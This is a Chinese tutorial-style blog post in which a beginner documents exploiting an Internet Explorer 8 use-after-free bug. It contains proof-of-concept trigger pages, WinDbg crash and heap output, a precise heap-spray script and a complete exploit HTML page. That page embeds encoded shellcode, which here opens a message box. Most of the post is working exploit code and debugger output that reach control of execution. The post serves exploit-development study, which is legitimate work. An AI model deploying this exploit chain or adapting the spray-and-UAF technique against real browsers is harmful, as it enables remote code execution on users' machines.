1. 背景
这次调试了一个浏览器的的uaf漏洞。(首先原谅我快把看雪当成私人博客了,我是一个正在学习二进制漏洞的小菜鸟,发出来的目的是想各位大佬多交流,不过目前来看没多少大佬愿意理我 [摊手][无奈])
什么是uaf呢?大概的意思就是,应用程序访问了一个已经被free掉的内存。利用这个漏洞可以执行任意代码。
这篇文章不是分析漏洞产生的原因,主要是记录了利用这个漏洞去执行代码的整个过程,想了解具体原因看参考。
2. poc1
根据前人的分析,拿到poc来测试一下,测试的环境是win7-32-ie8
<html>
<script>
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
document.write("");
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
```
windbg中断在
call dword ptr [ecx] ds:0023:00000000=????????
想要看进一步的细节需要打开pageheap,这样当程序的堆出现异常的时候能最快断下来,原理请看参考。
设置pageheap后,在一次运行poc,这次在访问一个地址的时候出现了异常,看起来是一个堆的地址.
mov ecx,dword ptr [edi] ds:0023:05866fb0=????????
查看一下这个地址的状态 !heap -p -a 05866fb0 很明显被free掉了
0:005> !heap -p -a 05866fb0
address 05866fb0 found in
_DPH_HEAP_ROOT @ 51000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
55a3bfc: 5866000 2000
6c8590b2 verifier!AVrfDebugPageHeapFree+0x000000c2
776b65f4 ntdll!RtlDebugFreeHeap+0x0000002f
7767a0aa ntdll!RtlpFreeHeap+0x0000005d
776465a6 ntdll!RtlFreeHeap+0x00000142
7778bbe4 kernel32!HeapFree+0x00000014
6bcdfbf2 mshtml!CTreeNode::Release+0x0000002d
6bce07e0 mshtml!CMarkup::UnloadContents+0x00000380
6bce1f3c mshtml!CMarkup::TearDownMarkupHelper+0x00000055
6bce1ec3 mshtml!CMarkup::TearDownMarkup+0x00000055
6bbaee78 mshtml!COmWindowProxy::SwitchMarkup+0x000005b8
6bb13685 mshtml!CDocument::open+0x00000426
6bb10ea1 mshtml!CDocument::write+0x0000007c
6bbc554e mshtml!Method_void_SAFEARRAYPVARIANTP+0x00000085
6bcef10b mshtml!CBase::ContextInvokeEx+0x000005dc
6bceef72 mshtml!CBase::InvokeEx+0x00000025
6bcfb7fa mshtml!DispatchInvokeCollection+0x0000014c
6bc9f00c mshtml!CDocument::InvokeEx+0x000000f0
接下来找到内存在何时被free掉的,然后在内存free之后,访问之前,重新分配这块内存,填充我们的代码,这就能控制程序去访问一个可控的地址,然后在看看是否能去利用。
3. poc2
<html>
<script>
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement('div');
lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
document.write("");
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";
}
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
保存exp.html,打开windbg开始调试。
**!!!记得在运行之前关掉pageheap,要是没关掉pageheap,程序可能在之前访问堆的时候就已经挂掉了。**
0:013> g
ModLoad: 6c190000 6c242000 C:\Windows\System32\jscript.dll
(148.70c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00365670 ecx=00000003 edx=00000000 esi=68f1b760 edi=68f512c0
eip=68f513f2 esp=0269c048 ebp=0269c060 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mshtml!CTreeNode::GetInterface+0xac:
68f513f2 8b08 mov ecx,dword ptr [eax] ds:0023:0c0c0c0c=????????
程序出现了异常,但是eax寄存器是我们脚本中的值,紧接着是call dword ptr [ecx],接下来只要在0c0c0c0c中放入shellcode的地址的地址,就能调用我们的shellcode去执行。还有为啥是0c0c0c0c,因为后面要利用堆喷把shellcode放到了0c0c0c0c。
4. spray heap
前面已经控制程序去访问一个可控地址,接下来就把shellcode放到这个地址,因为有aslf的保护,所以要用堆喷去绕过,执行我们的代码。
要利用堆,首先要对堆有个简单的了解。堆分配是连续的,但是由于程序申请、释放堆之后,造成了很多堆碎片。在次分配堆的时候,首先从这些堆碎片中分配,当堆碎片用完的时候,重新向操作系统申请新的堆,这时候的堆是连续的。
堆喷射就是利用了这个特性,大量的用"nop+shellcode"占用堆,这样当我们访问某一堆地址的时候,总能执行到我们的shellcode。但是不开心的是,有dep保护,在堆中执行不了代码,这时候就要用精确堆喷射,就是每次堆喷射都把shellcode的开头固定在某一特定的地址比如(0c0c0c0c)。
堆的对齐是0x1000的倍数,如果堆喷的内容 [nops+shellcode]大小等于0x1000,这样只要确定0c0c0c0c到最近的[nops+shellcode] 的首地址,就能确定shellcode和nops的距离,这样0c0c0c0c总能指向shellcode的首地址,这块表述不清,具体看参考。
堆喷射代码
<html>
<script>
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4;
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (p = 0; p < padding_size; p++){
Padding += unescape('%u9090');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');
}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT);
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
alert("Spray Done!");
</script>
</html>
执行之后堆内就存在 150 个BSTR 字符串对象 " [4+ [nops+shellcode] + [nops+shellcode] + [nops+shellcode] + .... +2] =1m" 就是150m
0c0c0c0c也就是了shellcode地址。
5. exp
搞定了堆喷射,接下来,就要利用rop绕过dep了,在找rop之前我填入了完整的shellcode执行的一下,竟然成功了,dep也确定是打开的呀。
那就先到这里了..........................................................................
<html>
<script>
function sprayheap(){
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4;
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u0c10%u0c0c' +
'%u0c14%u0c0c' +
'%uc931%u8b64%u3041%u408b%u8b0c%u1470%u96ad%u8bad%u1048%udb31%u598b%u013c%u8bcb%u785b%ucb01%u738b%u0120%u31ce%u42d2%u01ad%u81c8%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u8be2%u1c73%uce01%u148b%u0196%u89ca%u89d6%u31cf%u53db%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff51%u83d2%u10c4%uc931%u6c68%u426c%u8842%u244c%u6802%u3233%u642e%u7568%u6573%u5472%ud0ff%uc483%u310c%u68c9%u786f%u4241%u4c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%ud6ff%uc483%u310c%u31d2%u52c9%u7368%u7568%u907a%u8d90%u2414%u6851%u6873%u7a75%u8d90%u240c%udb31%u5343%u5152%udb31%uff53%u31d0%u68c9%u7365%u4173%u4c88%u0324%u5068%u6f72%u6863%u7845%u7469%u0c8d%u5124%uff57%u31d6%u51c9%ud0ff');
for (p = 0; p < padding_size; p++){
Padding += unescape('%u4141');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
//alert("Spray Done!");
}
sprayheap();
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement('div');
lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
document.write("");
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";
}
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
##6. 参考
https://webstersprodigy.net/2014/11/19/use-after-free-exploits-for-humans-part-1-exploiting-ms13-080-on-ie8-winxpsp3/
http://www.fuzzysecurity.com/tutorials/expDev/11.html
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://blog.csdn.net/xiaohyy/article/details/4174493
http://www.cnblogs.com/Ox9A82/p/5797123.html
有不对的地方麻烦指出来,谢谢。。。。。
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!